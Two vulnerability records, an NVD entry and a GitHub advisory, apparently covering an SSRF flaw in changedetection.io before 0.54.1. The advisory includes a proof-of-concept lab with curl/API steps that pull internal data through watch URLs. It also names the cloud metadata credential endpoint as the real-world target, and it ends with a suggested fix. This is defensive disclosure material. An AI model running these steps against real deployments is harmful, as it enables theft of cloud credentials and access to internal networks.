{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "changedetection.io is a free open source web page change detection tool. In versions prior to 0.54.1, changedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs. The application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI \u2014 enabling full data exfiltration from internal services. Version 0.54.1 contains a fix for the issue."
    },
    {
      "lang": "es",
      "value": "changedetection.io es una herramienta gratuita de c\u00f3digo abierto para la detecci\u00f3n de cambios en p\u00e1ginas web. En versiones anteriores a la 0.54.1, changedetection.io es vulnerable a la Falsificaci\u00f3n de Petici\u00f3n del Lado del Servidor (SSRF) porque la funci\u00f3n de validaci\u00f3n de URL \u0027is_safe_valid_url()\u0027 no valida la direcci\u00f3n IP resuelta de las URL de vigilancia frente a rangos de direcciones privadas, de bucle invertido o de enlace local. Un usuario autenticado (o cualquier usuario cuando no hay contrase\u00f1a configurada, que es el valor predeterminado) puede a\u00f1adir una vigilancia para URL de red internas. La aplicaci\u00f3n obtiene estas URL del lado del servidor, almacena el contenido de la respuesta y lo hace visible a trav\u00e9s de la interfaz de usuario web \u2014 lo que permite la exfiltraci\u00f3n completa de datos de servicios internos. La versi\u00f3n 0.54.1 contiene una soluci\u00f3n para el problema."
    }
  ],
  "id": "CVE-2026-27696",
  "lastModified": "2026-02-25T15:20:53.070",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 4.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-02-25T05:17:26.940",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/fe7aa38c651d73fe5f41ce09855fa8f97193747b"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-918"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "changedetection.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.54.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27696"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T19:08:18Z",
    "nvd_published_at": "2026-02-25T05:17:26Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nChangedetection.io is vulnerable to Server-Side Request Forgery (SSRF) because the URL validation function `is_safe_valid_url()` does not validate the resolved IP address of watch URLs against private, loopback, or link-local address ranges. An authenticated user (or any user when no password is configured, which is the default) can add a watch for internal network URLs such as:\n\n- `http://169.254.169.254`\n- `http://10.0.0.1/`\n- `http://127.0.0.1/`\n\nThe application fetches these URLs server-side, stores the response content, and makes it viewable through the web UI \u2014 enabling full data exfiltration from internal services.\n\nThis is particularly severe because:\n\n- The fetched content is stored and viewable - this is not a blind SSRF\n- Watches are fetched periodically - creating a persistent SSRF that continuously accesses internal resources\n- By default, no password is set - the web UI is accessible without authentication\n- Self-hosted deployments typically run on cloud infrastructure where `169.254.169.254` returns real IAM credentials\n\n---\n\n## Details\n\nThe URL validation function `is_safe_valid_url()` in `changedetectionio/validate_url.py` (lines 60\u2013122) validates the URL protocol (http/https/ftp) and format using the `validators` library, but does not perform any DNS resolution or IP address validation:\n\n```python\n# changedetectionio/validate_url.py:60-122\n@lru_cache(maxsize=1000)\ndef is_safe_valid_url(test_url):\n\n    safe_protocol_regex = \u0027^(http|https|ftp):\u0027\n\n    # Check protocol\n    pattern = re.compile(os.getenv(\u0027SAFE_PROTOCOL_REGEX\u0027, safe_protocol_regex), re.IGNORECASE)\n    if not pattern.match(test_url.strip()):\n        return False\n\n    # Check URL format\n    if not validators.url(test_url, simple_host=True):\n        return False\n\n    return True  # No IP address validation performed\n```\n\nThe HTTP fetcher in `changedetectionio/content_fetchers/requests.py` (lines 83\u201389) then makes the request without any additional IP validation:\n\n```python\n# changedetectionio/content_fetchers/requests.py:83-89\nr = session.request(method=request_method,\n                    url=url,            # User-provided URL, no IP validation\n                    headers=request_headers,\n                    timeout=timeout,\n                    proxies=proxies,\n                    verify=False)\n```\nThe response content is stored and made available to the user:\n\n```python\n# changedetectionio/content_fetchers/requests.py:140-142\nself.content = r.text     # Text content stored\nself.raw_content = r.content  # Raw bytes stored\n```\nThis validation gap exists in all entry points that accept watch URLs:\n\n- Web UI: `changedetectionio/store/__init__.py:718`\n- REST API: `changedetectionio/api/watch.py:163, 428`\n- Import API: `changedetectionio/api/import.py:188`\n\nAll use the same `is_safe_valid_url()` function, so a single fix addresses all paths.\n\n---\n\n## PoC\n\n### Prerequisites\n\n- A changedetection.io instance (Docker deployment)\n- Network access to the instance (default port 5000)\n\n### Step 1: Deploy changedetection.io with an internal service\n\nCreate `internal-service.py`:\n```python\n#!/usr/bin/env python3\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027, \u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(json.dumps({\n            \u0027Code\u0027: \u0027Success\u0027,\n            \u0027AccessKeyId\u0027: \u0027AKIAIOSFODNN7EXAMPLE\u0027,\n            \u0027SecretAccessKey\u0027: \u0027wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0027,\n            \u0027Token\u0027: \u0027FwoGZXIvYXdzEBYaDExampleSessionToken\u0027\n        }).encode())\nHTTPServer((\u00270.0.0.0\u0027, 80), H).serve_forever()\n```\n\nCreate `Dockerfile.internal`:\n```\nFROM python:3.11-slim\nCOPY internal-service.py /server.py\nCMD [\"python3\", \"/server.py\"]\n```\n\nCreate `docker-compose.yml`:\n```yaml\nversion: \"3.8\"\nservices:\n  changedetection:\n    image: ghcr.io/dgtlmoon/changedetection.io\n    ports:\n      - \"5000:5000\"\n    volumes:\n      - ./datastore:/datastore\n\n  internal-service:\n    build:\n      context: .\n      dockerfile: Dockerfile.internal\n```\n\nStart the stack:\n\n```bash\ndocker compose up -d\n```\n\n### Step 2: Add a watch for the internal service\n\nOpen `http://localhost:5000/` in a browser (no password required by default).\n\nIn the URL field, enter:\n```\nhttp://internal-service/\n```\nClick **Watch** and wait for the first check to complete.\n\n### Step 3: View the exfiltrated data\n\nClick on the watch entry, then click **Preview**. The page displays the internal service\u2019s response containing the simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\u003cimg width=\"2291\" height=\"780\" alt=\"Screenshot 2026-02-16 084212\" src=\"https://github.com/user-attachments/assets/115b69fb-ea10-4c47-a38c-409ede0e03cd\" /\u003e\n\n### Step 4: Verify via API (alternative)\n```bash\n# Get the API key (visible in Settings page of the unauthenticated web UI)\nAPI_KEY=$(docker compose exec changedetection cat /datastore/url-watches.json | \\\n  python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027settings\u0027][\u0027application\u0027][\u0027api_access_token\u0027])\")\n\n# Create a watch via API\nWATCH_RESPONSE=$(curl -s -X POST \"http://localhost:5000/api/v1/watch\" \\\n  -H \"x-api-key: $API_KEY\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\": \"http://internal-service/\"}\u0027)\n\nWATCH_UUID=$(echo \"$WATCH_RESPONSE\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027uuid\u0027])\")\necho \"Watch created: $WATCH_UUID\"\n\n# Wait for the first fetch to complete\necho \"Waiting 30s for first fetch...\"\nsleep 30\n\n# Retrieve the exfiltrated data via API\nLATEST_TS=$(curl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history\" \\\n  -H \"x-api-key: $API_KEY\" | \\\n  python3 -c \"import sys,json; h=json.load(sys.stdin); print(sorted(h.keys())[-1]) if h else print(\u0027\u0027)\")\n\necho \"=== EXFILTRATED DATA ===\"\ncurl -s \"http://localhost:5000/api/v1/watch/$WATCH_UUID/history/$LATEST_TS\" \\\n  -H \"x-api-key: $API_KEY\"\n```\nExpected output \u2014 the internal service\u2019s response containing simulated credentials:\n```json\n{\n  \"Code\": \"Success\",\n  \"AccessKeyId\": \"AKIAIOSFODNN7EXAMPLE\",\n  \"SecretAccessKey\": \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\n  ...\n}\n```\n\nIn a real cloud deployment, replacing `http://internal-service/` with:\n\n```bash\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\nwould return real AWS IAM credentials.\n\n\u003cimg width=\"1140\" height=\"607\" alt=\"Screenshot 2026-02-16 084407\" src=\"https://github.com/user-attachments/assets/cb1f5c02-6604-49e6-9e26-13406b190b45\" /\u003e\n\n---\n\n## Impact\n\n**Who is impacted:**  \nAll self-hosted changedetection.io deployments, particularly those running on cloud infrastructure (AWS, GCP, Azure) where the instance metadata service at `169.254.169.254` is accessible.\n\n**What an attacker can do:**\n\n- **Steal cloud credentials:** Access the cloud metadata endpoint to obtain IAM credentials, service account tokens, or managed identity tokens\n- **Scan internal networks:** Discover internal services by adding watches for internal IP ranges and observing responses\n- **Access internal services:** Read data from internal APIs, databases, and admin interfaces that are not exposed to the internet\n- **Persistent access:** Watches are fetched periodically on a configurable schedule, providing continuous access to internal resources\n- **No authentication required by default:** The web UI has no password set by default, allowing any user with network access to exploit this vulnerability\n\n---\n\n### Suggested Remediation\n\nAdd IP address validation to `is_safe_valid_url()` in `changedetectionio/validate_url.py`:\n\n```python\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network(\u0027127.0.0.0/8\u0027),     # Loopback\n    ipaddress.ip_network(\u002710.0.0.0/8\u0027),      # Private (RFC 1918)\n    ipaddress.ip_network(\u0027172.16.0.0/12\u0027),   # Private (RFC 1918)\n    ipaddress.ip_network(\u0027192.168.0.0/16\u0027),  # Private (RFC 1918)\n    ipaddress.ip_network(\u0027169.254.0.0/16\u0027),  # Link-local / Cloud metadata\n    ipaddress.ip_network(\u0027::1/128\u0027),         # IPv6 loopback\n    ipaddress.ip_network(\u0027fc00::/7\u0027),        # IPv6 unique local\n    ipaddress.ip_network(\u0027fe80::/10\u0027),       # IPv6 link-local\n]\n\ndef is_private_ip(hostname):\n    \"\"\"Check if a hostname resolves to a private/reserved IP address.\"\"\"\n    try:\n        for info in socket.getaddrinfo(hostname, None):\n            ip = ipaddress.ip_address(info[4][0])\n            for network in BLOCKED_NETWORKS:\n                if ip in network:\n                    return True\n    except socket.gaierror:\n        return True  # Block unresolvable hostnames\n    return False\n```\n\nThen add to `is_safe_valid_url()` before the final `return True`:\n\n```python\n# Check for private/reserved IP addresses\nparsed = urlparse(test_url)\nif parsed.hostname and is_private_ip(parsed.hostname):\n    logger.warning(f\"URL \u0027{test_url}\u0027 resolves to a private/reserved IP address\")\n    return False\n```\n\nAn environment variable (e.g., `ALLOW_PRIVATE_IPS=true`) could be provided for users who intentionally need to monitor internal services.",
  "id": "GHSA-3c45-4pj5-ch7m",
  "modified": "2026-02-25T19:08:18Z",
  "published": "2026-02-25T19:08:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-3c45-4pj5-ch7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dgtlmoon/changedetection.io/commit/fe7aa38c651d73fe5f41ce09855fa8f97193747b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dgtlmoon/changedetection.io"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "changedetection.io is Vulnerable to SSRF via Watch URLs"
}